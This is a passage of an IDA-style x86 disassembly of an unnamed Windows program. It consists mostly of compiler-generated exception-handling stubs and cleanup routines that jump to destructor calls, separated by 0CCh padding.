sub_401226 ; --------------------------------------------------------------------------- loc_43A94B: ; DATA XREF: ___:00440C8Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417BC0 proc near ; DATA XREF: sub_417BC0+2o mov eax, offset dword_440C60 jmp sub_4367C8 SEH_417BC0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A99B: ; DATA XREF: ___:00440CD4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417C60 proc near ; DATA XREF: sub_417C60+2o mov eax, offset dword_440CA8 jmp sub_4367C8 SEH_417C60 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AA0E: ; DATA XREF: ___:00440D2Co mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417D30 proc near ; DATA XREF: sub_417D30+2o mov eax, offset dword_440D00 jmp sub_4367C8 SEH_417D30 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AA6B: ; DATA XREF: ___:00440D74o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417E50 proc near ; DATA XREF: sub_417E50+2o mov eax, offset dword_440D48 jmp sub_4367C8 SEH_417E50 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417F10 proc near ; DATA XREF: sub_417F10+2o mov eax, offset dword_440D98 jmp sub_4367C8 SEH_417F10 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417FD0 proc near ; DATA XREF: sub_417FD0+2o mov eax, offset dword_440DE8 jmp sub_4367C8 SEH_417FD0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418080 proc near ; DATA XREF: sub_418080+2o mov eax, offset dword_440E18 jmp sub_4367C8 SEH_418080 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418100 proc near ; DATA XREF: sub_418100+2o mov eax, offset dword_440E48 jmp sub_4367C8 SEH_418100 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AB8B: ; DATA XREF: ___:00440EA4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4181B0 proc near ; DATA XREF: sub_4181B0+2o mov eax, offset dword_440E78 jmp sub_4367C8 SEH_4181B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43ABBB: ; DATA XREF: ___:00440EDCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418290 proc near ; DATA XREF: sub_418290+2o mov eax, offset dword_440EB0 jmp sub_4367C8 SEH_418290 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1B4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418490 proc near ; DATA XREF: sub_418490+8o mov eax, offset dword_440EF8 jmp sub_4367C8 SEH_418490 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AC2B: ; DATA XREF: ___:00440F54o mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4190B0 proc near ; DATA XREF: sub_4190B0+2o mov eax, offset dword_440F28 jmp sub_4367C8 SEH_4190B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419170 proc near ; DATA XREF: sub_419170+2o mov eax, offset dword_440F60 jmp sub_4367C8 SEH_419170 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419220 proc near ; DATA XREF: sub_419220+2o mov eax, offset dword_440F90 jmp sub_4367C8 SEH_419220 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC9B: ; DATA XREF: ___:00440FECo lea ecx, [ebp-28Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4192C0 proc near ; DATA XREF: sub_4192C0+2o mov eax, offset dword_440FC0 jmp sub_4367C8 SEH_4192C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-820h] jmp sub_40186B ; --------------------------------------------------------------------------- loc_43ACCB: ; DATA XREF: ___:0041A188o mov eax, offset dword_440FF8 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-44h] and eax, 1 test eax, eax jz locret_43ACF6 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43ACF6: ; CODE XREF: ___:0043ACE8j retn ; --------------------------------------------------------------------------- loc_43ACF7: ; DATA XREF: ___:00441054o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AD07: ; DATA XREF: ___:0041B0F2o mov eax, offset dword_441028 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41B400 proc near ; DATA XREF: sub_41B400+2o mov eax, offset dword_441068 jmp sub_4367C8 SEH_41B400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43AD40 proc near ; DATA XREF: ___:004410C4o lea ecx, [ebp-3Ch] jmp sub_401226 sub_43AD40 endp ; --------------------------------------------------------------------------- mov eax, [ebp-40h] and eax, 1 test eax, eax jz locret_43AD5E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43AD5E: ; CODE XREF: ___:0043AD50j retn ; --------------------------------------------------------------------------- loc_43AD5F: ; DATA XREF: ___:004410CCo lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41B950 proc near ; DATA XREF: sub_41B950+2o mov eax, offset dword_441098 jmp sub_4367C8 SEH_41B950 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41C390 proc near ; DATA XREF: sub_41C390+2o mov eax, offset dword_4410E0 jmp sub_4367C8 SEH_41C390 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-10Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ADEB: ; DATA XREF: ___:00441164o lea ecx, [ebp-0DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-94h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_4014B0 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41C610 proc near ; DATA XREF: sub_41C610+2o mov eax, offset dword_441138 jmp sub_4367C8 SEH_41C610 endp ; --------------------------------------------------------------------------- db 59h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF78: ; DATA XREF: ___:0044126Co mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D540 proc near ; DATA XREF: sub_41D540+2o mov eax, offset dword_441240 jmp sub_4367C8 SEH_41D540 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AFB8: ; DATA XREF: ___:004412B4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D5D0 proc near ; DATA XREF: sub_41D5D0+2o mov eax, offset dword_441288 jmp sub_4367C8 SEH_41D5D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43AFF8: ; DATA XREF: ___:004412FCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D670 proc near ; DATA XREF: sub_41D670+2o mov eax, offset dword_4412D0 jmp sub_4367C8 SEH_41D670 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B058: ; DATA XREF: ___:00441354o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D760 proc near ; DATA XREF: sub_41D760+2o mov eax, offset dword_441328 jmp sub_4367C8 SEH_41D760 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1140h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0F2: ; DATA XREF: sub_41D830+8o mov eax, offset dword_441380 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E140 proc near ; DATA XREF: sub_41E140+2o mov eax, offset dword_4413D8 jmp sub_4367C8 SEH_41E140 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E400 proc near ; DATA XREF: sub_41E400+2o mov eax, offset dword_441418 jmp sub_4367C8 SEH_41E400 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-48h] jmp sub_401816 ; --------------------------------------------------------------------------- loc_43B188: ; DATA XREF: ___:00441494o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_401253 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E660 proc near ; DATA XREF: sub_41E660+8o mov eax, offset dword_441468 jmp sub_4367C8 SEH_41E660 endp ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; --------------------------------------------------------------------------- loc_43B210: ; DATA XREF: ___:0041EDB5o mov eax, offset dword_4414F8 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1974h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B22B: ; DATA XREF: ___:00441584o lea ecx, [ebp-195Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1944h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-198Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-192Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1914h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18E4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41EF30 proc near ; DATA XREF: sub_41EF30+8o mov eax, offset dword_441558 jmp sub_4367C8 SEH_41EF30 endp ; --------------------------------------------------------------------------- db 28h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B2C8: ; DATA XREF: ___:00441604o lea ecx, [ebp-64h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41F860 proc near ; DATA XREF: sub_41F860+2o mov eax, offset dword_4415D8 jmp sub_4367C8 SEH_41F860 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-424h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- dw 8D8Dh dd 0FFFFFBB4h, 4183E990h db 0C5h, 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4200F0 proc near ; DATA XREF: sub_4200F0+2o mov eax, offset dword_441610 jmp sub_4367C8 SEH_4200F0 endp ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-112Ch] jmp sub_401A6E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_420530 proc near ; DATA XREF: sub_420530+8o mov eax, offset dword_441650 jmp sub_4367C8 SEH_420530 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-4FCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B34B: ; DATA XREF: ___:004416ACo lea ecx, [ebp-434h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4207E0 proc near ; DATA XREF: sub_4207E0+2o mov eax, offset dword_441680 jmp sub_4367C8 SEH_4207E0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B37B: ; DATA XREF: ___:004416E4o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B383: ; DATA XREF: ___:004416ECo lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B38B: ; DATA XREF: ___:004416F4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3A3: ; DATA XREF: ___:0044170Co lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3BB: ; DATA XREF: ___:00441724o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3D3: ; DATA XREF: ___:0044173Co lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3EB: ; DATA XREF: ___:00441754o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B3FB: ; DATA XREF: ___:00441764o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B40B: ; DATA XREF: ___:00441774o lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_420E10 proc near ; DATA XREF: sub_420E10+8o mov eax, offset dword_4416B8 jmp sub_4367C8 SEH_420E10 endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_11 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_422650 proc near ; DATA XREF: sub_422650+2o mov eax, offset dword_4417A0 jmp sub_4367C8 SEH_422650 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_11 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4226E0 proc near ; DATA XREF: sub_4226E0+2o mov eax, offset dword_4417D0 jmp sub_4367C8 SEH_4226E0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4227F0 proc near ; DATA XREF: sub_4227F0+2o mov eax, offset dword_441800 jmp sub_4367C8 SEH_4227F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-624h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_422A40 proc near ; DATA XREF: sub_422A40+8o mov eax, offset dword_441850 jmp sub_4367C8 SEH_422A40 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_425980 proc near ; DATA XREF: sub_425980+2o mov eax, offset dword_4418D8 jmp sub_4367C8 SEH_425980 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, 